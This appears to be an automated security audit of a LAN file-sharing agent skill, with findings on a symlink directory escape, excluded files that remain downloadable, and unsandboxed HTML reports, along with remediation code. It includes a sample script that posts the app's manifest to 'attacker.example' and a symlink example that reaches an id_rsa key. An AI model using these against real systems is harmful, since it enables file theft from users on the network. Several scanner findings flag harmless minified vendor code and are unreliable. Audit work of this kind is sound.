Back to skill

Security audit

Lan Knowledge Share

Security checks for vulnerabilities and agentic risk

Overview

The skill is a clearly disclosed LAN file-sharing tool, but its implementation can expose more files than users may expect from the selected folder and exclusions.

Review before installing. Use this only for a tightly scoped folder containing files meant for LAN-wide sharing, avoid repositories, home directories, credentials, private reports, and folders containing symlinks, and do not expose the server outside a trusted private LAN. Treat shared HTML files as executable content.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T05 · Unauthorized Access and Privilege Escalation

Error
Location
scripts/deploy.js:382
Finding
Symbolic Links Allow Access Outside the Approved Shared Directory<![CDATA[ ## Vulnerability Details **File Location**: `scripts/deploy.js:382-386`, `scripts/deploy.js:536-557`, and `scripts/deploy.js:562-567` **Vulnerability Type**: Symbolic-link directory confinement bypass **Risk Level**: High ### Vulnerable Code ```js function safeJoin(base, decoded) { const abs = path.normalize(path.join(base, decoded)); if (abs !== base && !abs.startsWith(base + path.sep)) return null; // 防目录穿越 return abs; } ``` The returned lexical path is subsequently accepted and followed by filesystem operations: ```js function resolveStatic(decoded) { const rel = decoded.replace(/^\/+/, ''); const p = safeJoin(root, rel); if (p) { const t = fileOrIndex(p); if (t) return { abs: t, template: false }; } if (runtimeOk) { const pr = safeJoin(runtimeDir, rel); if (pr) { const t = fileOrIndex(pr); if (t) return { abs: t, template: rel === 'index.html' && !selfContained }; } } return null; } function fileOrIndex(p) { try { const st = fs.statSync(p); if (st.isFile()) return p; if (st.isDirectory()) { const idx = safeJoin(p, 'index.html'); if (idx && fs.existsSync(idx)) return idx; } } catch (e) { /* 不存在 */ } return null; } ``` ### Technical Analysis `safeJoin()` prevents conventional `../` traversal only by normalizing and comparing the lexical path. It does not resolve the canonical filesystem path. Node.js operations used later—including `fs.statSync()`, `fs.existsSync()`, and `fs.createReadStream()`—follow symbolic links. Consequently, a path that appears to be beneath the shared root can resolve to an arbitrary file or directory outside that root. For example, a symlink named `leak` beneath the shared directory may point to a user home directory or credential directory. The path `<shared-root>/leak/id_rsa` passes the lexical prefix check even though its canonical target is outside `<shared-root>`. This behavior exceeds the user-approved directory scope and ...[truncated 1400 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Canonicalize the configured root once at startup: ```js const canonicalRoot = fs.realpathSync(root); ``` 2. Canonicalize every requested target before serving it: ```js function canonicalContainedPath(rootReal, candidate) { let targetReal; try { targetReal = fs.realpathSync(candidate); } catch { return null; } if ( targetReal !== rootReal && !targetReal.startsWith(rootReal + path.sep) ) { return null; } return targetReal; } ``` 3. Use the validated canonical path, rather than the original lexical path, for `stat` and streaming operations. 4. Reject symbolic links during directory traversal with `fs.lstatSync()` when symlink support is not required. 5. Repeat canonical containment validation immediately before opening the file to reduce time-of-check/time-of-use exposure. 6. Add regression tests covering: - Symlinks to external files - Symlinks to external directories - Nested symlink chains - Broken links - Links replaced between validation and access - Platform-specific junctions and reparse points on Windows ]]>

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
scripts/deploy.js:536
Finding
Excluded, Hidden, and Unsupported Files Remain Directly Downloadable<![CDATA[ ## Vulnerability Details **File Location**: `scripts/deploy.js:96-105`, `scripts/deploy.js:416-419`, and `scripts/deploy.js:536-557` **Vulnerability Type**: Access-control inconsistency and unintended file disclosure **Risk Level**: Medium ### Vulnerable Code The server defines directories and file types that are excluded from navigation and search: ```js const NOISE_DIRS = new Set(['.git', '.svn', '.hg', 'node_modules', '__pycache__', '.idea', '.vscode', '.codebuddy', 'venv', '.venv', '.tox', '.pytest_cache']); // 自包含知识库形态下额外排除的站点内部目录 const SITE_DIRS = new Set(['assets', 'sync', 'tests', 'vendor', '.workbuddy']); const INDEX_FILES = new Set(['_sidebar.md', '_footer.md', '_side.md', 'index.html']); const SHEET_EXTS = new Set(['.xlsx', '.xls', '.csv', '.tsv']); const CONTENT_EXTS = new Set([ '.md', '.xlsx', '.xls', '.csv', '.tsv', '.html', '.htm', '.pdf', '.doc', '.docx', '.ppt', '.pptx', '.txt', '.jpg', '.jpeg', '.png', '.gif', '.svg', '.webp', '.bmp', '.mp4', '.mov', '.webm', '.mp3', '.wav', '.ogg', '.m4a', '.aac', '.flac', '.wma', // 字体文件(设计资源):收录后侧边栏/目录页可见并可下载 '.ttf', '.otf', '.woff', '.woff2', '.eot', ]); ``` The exclusion set is constructed as follows: ```js const excludeSet = new Set(NOISE_DIRS); cfg.excludes.forEach(x => excludeSet.add(x)); if (selfContained) SITE_DIRS.forEach(x => excludeSet.add(x)); const isExcludedDir = (name) => excludeSet.has(name); ``` However, direct static-file resolution does not enforce those restrictions: ```js function resolveStatic(decoded) { const rel = decoded.replace(/^\/+/, ''); const p = safeJoin(root, rel); if (p) { const t = fileOrIndex(p); if (t) return { abs: t, template: false }; } if (runtimeOk) { const pr = safeJoin(runtimeDir, rel); if (pr) { const t = fileOrIndex(pr); if (t) return { abs: t, template: rel === 'index.html' && !selfContained }; } } return null; } ``` ### Technical Analysis The exclusion rules and `CONTENT_EXTS` al ...[truncated 1995 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Create a single path-authorization function and invoke it for every static request before filesystem lookup. 2. Split the normalized relative path into components and reject any component that: - Starts with `.`, unless explicitly approved - Appears in `NOISE_DIRS`, `SITE_DIRS`, or user-supplied exclusions - Matches a reserved internal path - Contains platform-specific alternate separators or invalid encodings 3. Enforce the file-type allowlist on direct requests: ```js function isAuthorizedRelativePath(rel) { const components = rel.split(/[\\/]+/).filter(Boolean); if (components.some(name => name.startsWith('.') || isExcludedDir(name) )) { return false; } const ext = path.extname(rel).toLowerCase(); return CONTENT_EXTS.has(ext); } ``` 4. If unrestricted direct access is intentional, rename the option and documentation to state clearly that exclusions affect navigation only and do not prevent downloads. 5. Consider separate options such as: - `--hide`: omit from navigation but permit direct access - `--deny`: prevent all HTTP access - `--allow-extension`: explicitly expand the served-file allowlist 6. Add tests proving that hidden, excluded, unsupported, and reserved paths return `403` or `404` when requested directly. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
assets/runtime/assets/js/html-viewer.js:140
Finding
Shared HTML Reports Execute Unsandboxed with the File Browser Origin<![CDATA[ ## Vulnerability Details **File Location**: `assets/runtime/assets/js/html-viewer.js:140-143`; related response handling at `scripts/deploy.js:75` and `scripts/deploy.js:577-591` **Vulnerability Type**: Unsandboxed active-content execution **Risk Level**: Medium ### Vulnerable Code HTML reports are loaded into an iframe without a sandbox: ```js var fr = el('iframe', 'kb-html-frame'); fr.src = info.fileUrl; page.appendChild(fr); ``` The server sends shared HTML as executable HTML: ```js '.html': 'text/html; charset=utf-8', ``` The generic static handler uses that MIME type without a restrictive Content Security Policy: ```js const headers = { 'Content-Type': MIME[ext] || 'application/octet-stream', 'Accept-Ranges': 'bytes', 'Cache-Control': CACHEABLE_EXTS.has(ext) ? 'public, max-age=3600' : 'no-cache', }; ``` ### Technical Analysis The iframe does not have a `sandbox` attribute, and the shared HTML file is served from the same origin as the application and its APIs. Scripts in an HTML report therefore execute with the full privileges of the file browser origin. Such scripts can: - Read `/api/tree`, `/api/manifest`, and `/api/search` - Fetch directly exposed shared files - Read or modify the parent application DOM - Navigate or replace the parent interface - Send obtained data to an external server when browser network policy permits it - Present spoofed controls or phishing prompts to LAN users The Skill intentionally supports interactive HTML reports, so active rendering is functionally relevant. However, same-origin unsandboxed execution grants substantially more privilege than is necessary merely to display a report. ### Attack Path 1. A malicious or compromised HTML file is placed in the shared folder: ```html <script> fetch('/api/manifest') .then(r => r.text()) .then(data => fetch('https://attacker.example/collect', { method: 'POST', mode: 'no-cors', body: data })); </script> ...[truncated 1164 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Treat all shared HTML as untrusted active content by default. 2. Add an iframe sandbox that omits `allow-same-origin`: ```js fr.setAttribute('sandbox', 'allow-scripts'); ``` Add only capabilities demonstrably required by supported reports. Avoid combining `allow-scripts` and `allow-same-origin` for same-origin content, because that substantially weakens sandbox isolation. 3. Prefer serving active reports from a separate origin or dedicated port that does not expose the file browser APIs. 4. Add a restrictive Content Security Policy for report responses. Depending on compatibility requirements, begin with: ```text default-src 'none'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'none'; connect-src 'none'; frame-ancestors 'self'; ``` 5. Disable scripts by default and provide an explicit, clearly labeled opt-in mode for trusted interactive reports. 6. Prevent framed reports from controlling the parent page by relying on sandboxing and avoiding `allow-top-navigation`. 7. Consider serving HTML reports as downloads or rendered static snapshots when interactivity is unnecessary. 8. Document that active HTML files are executable content and must be reviewed before publication. ]]>
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (19)

Ae1

High
Category
analysis-evasion
Content
- **表格无法搜索 / Spreadsheet search fails**:内置 `xlsx.full.min.js` 缺失时,表格内容无法参与全文搜索;页面内表格预览不受影响。
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- **表格无法搜索 / Spreadsheet search fails**:内置 `xlsx.full.min.js` 缺失时,表格内容无法参与全文搜索;页面内表格预览不受影响。
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Content
",gamma:"γ",delta:"δ",epsilon:"ε",zeta:"ζ",eta:"η",theta:"θ",iota:"ι",kappa:"κ",lambda:"λ",mu:"μ",nu:"ν",xi:"ξ",omicron:"ο",pi:"π",rho:"ρ",sigmaf:"ς",sigma:"σ",tau:"τ",upsilon:"υ",phi:"φ",chi:"χ",psi:"ψ",omega:"ω",thetasym:"ϑ",upsih:"ϒ",piv:"ϖ",OElig:"Œ",oelig:"œ",Scaron:"Š",scaron:"š",Yuml:"Ÿ",fnof:"ƒ",
circ:"ˆ",tilde:"˜",ensp:" ",emsp:" ",thinsp:" ",zwnj:"‌",zwj:"‍",lrm:"‎",rlm:"‏",ndash:"–",mdash:"—",lsquo:"‘",rsquo:"’",sbquo:"‚",ldquo:"“",rdquo:"”",bdquo:"„",dagger:"†",Dagger:"‡",bull:"•",hellip:"…",permil:"‰",prime:"′",Prime:"″",lsaquo:"‹",rsaquo:"›",oline:"‾",euro:"€",trade:"™",larr:"←",uarr:"↑",rarr:"→",darr:"↓",harr:"↔",crarr:"↵",lceil:"⌈",rceil:"⌉",lfloor:"⌊",rfloor:"⌋",loz:"◊",spades:"♠",clubs:"♣",hearts:"♥",diams:"♦"}),exports.entityMap=exports.HTML_ENTITIES},{"./conventions":41}],45:[function(require,module,exports){var dom=require("./dom");exports.DOMImplem
Confidence
80% confidence
Finding
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Direct Prompt Extraction

High
Category
System Prompt Leakage
Content
),e.exports=i},{"./lib/deflate":39,"./lib/inflate":40,"./lib/utils/common":41,"./lib/zlib/constants":44}],39:[function(t,e,r){"use strict";function p(t){if(!(this instanceof p))return new p(t);this.options=o.assign({level:f,method:c,chunkSize:16384,windowBits:15,memLevel:8,strategy:d,to:""},t||{});var e=this.options;e.raw&&0<e.windowBits?e.windowBits=-e.windowBits:e.gzip&&0<e.windowBits&&e.windowBits<16&&(e.windowBits+=16),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new s,this.strm.avail_out=0;var r=a.deflateInit2(this.strm,e.level,e.method,e.windowBits,e.memLevel,e.strategy);if(r!==l)throw new Error(n[r]);if(e.header&&a.deflateSetHeader(this.strm,e.header),e.dictionary){var i;if(i="string"==typeof e.dictionary?h.string2buf(e.dictionary):"[object ArrayBuffer]"===u.call(e.dictionary)?new Uint8Array(e.dictionary):e.dictionary,(r=a.deflateSetDictionary(this.strm,i))!==l)throw new Error(n[r]);this._dict_set=!0}}function i(t,e){var r=new p(e);if(r.push(t,!0),r.err)throw r.msg||n[r.err];return r.result}var a=t("./zlib/deflate"),o=t("./utils/common"),h=t("./utils/strings"),n=t("./zlib/messages"),s=t("./zlib/zstream"),u=Object.prototype.toString,l=0,f=-1,d=0,c=8;p.prototype.push=function(t,e){var r,i,n=this.strm,s=this.options.chunkSize;if(this.ended)return!1;i=e===~~e?e:!0===e?4:0,"string"==typeof t?n.input=h.string2buf(t):"[object ArrayBuffer]"===u.call(t)?n.input=new Uint8Array(t):n.input=t,n.next_in=0,n.avail_in=n.input.length;do{if(0===n.avail_out&&(n.output=new o.Buf8(s),n.next_out=0,n.avail_out=s),1!==(r=a.deflate(n,i))&&r!==l)return this.onEnd(r),!(this.ended=!0);0!==n.avail_out&&(0!==n.avail_in||4!==i&&2!==i)||("string"===this.options.to?this.onData(h.buf2binstring(o.shrinkBuf(n.output,n.next_out))):this.onData(o.shrinkBuf(n.output,n.next_out)))}while((0<n.avail_in||0===n.avail_out)&&1!==r);return 4===i?(r=a.deflateEnd(this.strm),this.onEnd(r),this.ended=!0,r===l):2!==i||(this.onEnd(l),!(n.avail_out=0))},p.prototype.onData=function(t){this.chunks.
...[truncated 28 chars]
Confidence
85% confidence
Finding
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Direct Prompt Extraction

High
Category
System Prompt Leakage
Content
),e.exports=i},{"./lib/deflate":39,"./lib/inflate":40,"./lib/utils/common":41,"./lib/zlib/constants":44}],39:[function(t,e,r){"use strict";function p(t){if(!(this instanceof p))return new p(t);this.options=o.assign({level:f,method:c,chunkSize:16384,windowBits:15,memLevel:8,strategy:d,to:""},t||{});var e=this.options;e.raw&&0<e.windowBits?e.windowBits=-e.windowBits:e.gzip&&0<e.windowBits&&e.windowBits<16&&(e.windowBits+=16),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new s,this.strm.avail_out=0;var r=a.deflateInit2(this.strm,e.level,e.method,e.windowBits,e.memLevel,e.strategy);if(r!==l)throw new Error(n[r]);if(e.header&&a.deflateSetHeader(this.strm,e.header),e.dictionary){var i;if(i="string"==typeof e.dictionary?h.string2buf(e.dictionary):"[object ArrayBuffer]"===u.call(e.dictionary)?new Uint8Array(e.dictionary):e.dictionary,(r=a.deflateSetDictionary(this.strm,i))!==l)throw new Error(n[r]);this._dict_set=!0}}function i(t,e){var r=new p(e);if(r.push(t,!0),r.err)throw r.msg||n[r.err];return r.result}var a=t("./zlib/deflate"),o=t("./utils/common"),h=t("./utils/strings"),n=t("./zlib/messages"),s=t("./zlib/zstream"),u=Object.prototype.toString,l=0,f=-1,d=0,c=8;p.prototype.push=function(t,e){var r,i,n=this.strm,s=this.options.chunkSize;if(this.ended)return!1;i=e===~~e?e:!0===e?4:0,"string"==typeof t?n.input=h.string2buf(t):"[object ArrayBuffer]"===u.call(t)?n.input=new Uint8Array(t):n.input=t,n.next_in=0,n.avail_in=n.input.length;do{if(0===n.avail_out&&(n.output=new o.Buf8(s),n.next_out=0,n.avail_out=s),1!==(r=a.deflate(n,i))&&r!==l)return this.onEnd(r),!(this.ended=!0);0!==n.avail_out&&(0!==n.avail_in||4!==i&&2!==i)||("string"===this.options.to?this.onData(h.buf2binstring(o.shrinkBuf(n.output,n.next_out))):this.onData(o.shrinkBuf(n.output,n.next_out)))}while((0<n.avail_in||0===n.avail_out)&&1!==r);return 4===i?(r=a.deflateEnd(this.strm),this.onEnd(r),this.ended=!0,r===l):2!==i||(this.onEnd(l),!(n.avail_out=0))},p.prototype.onData=function(t){this.chunks.
...[truncated 28 chars]
Confidence
85% confidence
Finding
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Content
פץצקרשת��‎‏�",r=[],t={};for(var a=0;a!=e.length;++a){if(e.charCodeAt(a)!==65533)t[e.charAt(a)]=a;r[a]=e.charAt(a)}return{enc:t,dec:r}}();cptable[1256]=function(){var e="\0\b\t\n\x0B\f\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~€پ‚ƒ„…†‡ˆ‰ٹ‹Œچژڈگ‘’“”•–—ک™ڑ›œ‌‍ں ،¢£¤¥¦§¨©ھ«¬­®¯°±²³´µ¶·¸¹؛»¼½¾؟ہءآأؤإئابةتثجحخدذرزسشصض×طظعغـفقكàلâمنهوçèéêëىيîïًٌٍَôُِ÷ّùْûü‎‏ے",r=[],t={};for(var a=0;a!=e.length;++a){if(e.charCodeAt(a)!==65533)t[e.charAt(a)]=a;r[a]=e.charAt(a)}return{enc:t,dec:r}}();cptable[1257]=function(){var e="\0\b\t\n\x0B\f\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~€�‚�„…†‡�‰�‹�¨ˇ¸�‘’“”•–—�™�›�¯˛� �¢£¤
Confidence
80% confidence
Finding
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Natural-Language Policy Violations

Medium
Confidence
92% confidence
Finding
This JavaScript file is written with Chinese-only comments and includes Chinese user-facing UI text such as loading, error, and toolbar labels. Under the stated policy, forcing a specific language without user opt-in is a natural-language locale violation unless the constraint is explicitly documented and justified, which is not present here.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
The file’s natural-language content, including the header description and visible UI strings, is entirely in Chinese, such as the search placeholder and status messages. Because this is a general search UI and the file does not indicate that the skill is explicitly limited to a Chinese-only audience or provide any user opt-in for language selection, it violates the language/locale policy criterion.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The file’s natural-language interface is entirely in Chinese, including usage instructions and descriptive comments that define how users are expected to operate the skill. The skill does not offer any language selection, fallback, or opt-in mechanism, which creates a locale/language policy concern if users are not explicitly limited to Chinese-speaking contexts.

Natural-Language Policy Violations

Medium
Confidence
93% confidence
Finding
Multiple user-visible strings such as parameter errors, startup messages, warnings, and safety notices are printed only in Chinese. Because these runtime messages are part of the operational interface and there is no user opt-in or documented locale restriction, this constitutes a natural-language policy issue rather than a code defect.

Natural-Language Policy Violations

Low
Confidence
91% confidence
Finding
This CSS file contains natural-language comments exclusively in Chinese, such as the file header comment. Under the policy rule for natural-language content, forcing a specific language without offering user choice or documenting a justified locale constraint can be a policy violation.

Natural-Language Policy Violations

Low
Confidence
88% confidence
Finding
Several descriptive comments in the stylesheet, including media, single-image, and lightbox behavior notes, are written only in Chinese. If organizational policy requires language neutrality or user/developer opt-in, this creates a natural-language locale policy issue.

Natural-Language Policy Violations

Low
Confidence
89% confidence
Finding
The file's natural-language comments are written only in Chinese, which imposes a specific language context without any opt-in or documented locale constraint. Under the policy, language-specific instructions or descriptions should either offer choice or clearly justify the locale restriction.

Natural-Language Policy Violations

Low
Confidence
84% confidence
Finding
The prominent natural-language comments and UX descriptions are entirely in Chinese, which indicates a language-specific expectation in the skill artifact. Under the policy, language or locale constraints should either provide user choice or be explicitly justified as region-specific; neither is present here.

Natural-Language Policy Violations

Low
Confidence
91% confidence
Finding
This JavaScript file contains user-facing text and descriptive comments entirely in Chinese, including labels such as the directory navigation and new-window link. Under the policy rule, forcing a specific language without opt-in can be a natural-language policy violation when no user choice or locale justification is present.

Natural-Language Policy Violations

Low
Confidence
88% confidence
Finding
The file’s natural-language documentation is entirely in Chinese and does not offer a language choice or explain that the skill is intended only for a Chinese-language audience. Per the policy, forcing a specific language without user opt-in can be a locale/language policy violation.

Natural-Language Policy Violations

Low
Confidence
90% confidence
Finding
The comment explicitly states support for Chinese Word style names, and the surrounding user-facing strings in the file are consistently Chinese. This indicates a language-specific behavior without any visible user choice or opt-in, which matches the policy category for forced language/locale constraints.

Intent-Code Divergence

Low
Confidence
76% confidence
Finding
The header comment says the plugin uses pure frontend SheetJS parsing and does not depend on external Office preview services, implying a local-only preview model. In practice, the implementation retrieves spreadsheet content with fetch() from URLs before parsing it in-browser, so the behavior still depends on network access to the referenced files even if it avoids third-party preview APIs.

Natural-Language Policy Violations

Low
Confidence
91% confidence
Finding
The HTML root sets `lang="zh-CN"`, which establishes a specific language/locale for the interface. Under the policy rule, this is a natural-language locale constraint, and the file does not show any user opt-in, alternative locale handling, or region-specific justification.

Static analysis

Detected: suspicious.dangerous_exec, suspicious.dynamic_code_execution, suspicious.obfuscated_code

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/deploy.js:496

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
assets/runtime/assets/vendor/docsify.min.js:1

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
assets/runtime/assets/vendor/mammoth.browser.min.js:5

Potential obfuscated payload detected.

Warn
Code
suspicious.obfuscated_code
Location
assets/runtime/assets/vendor/marked.min.js:6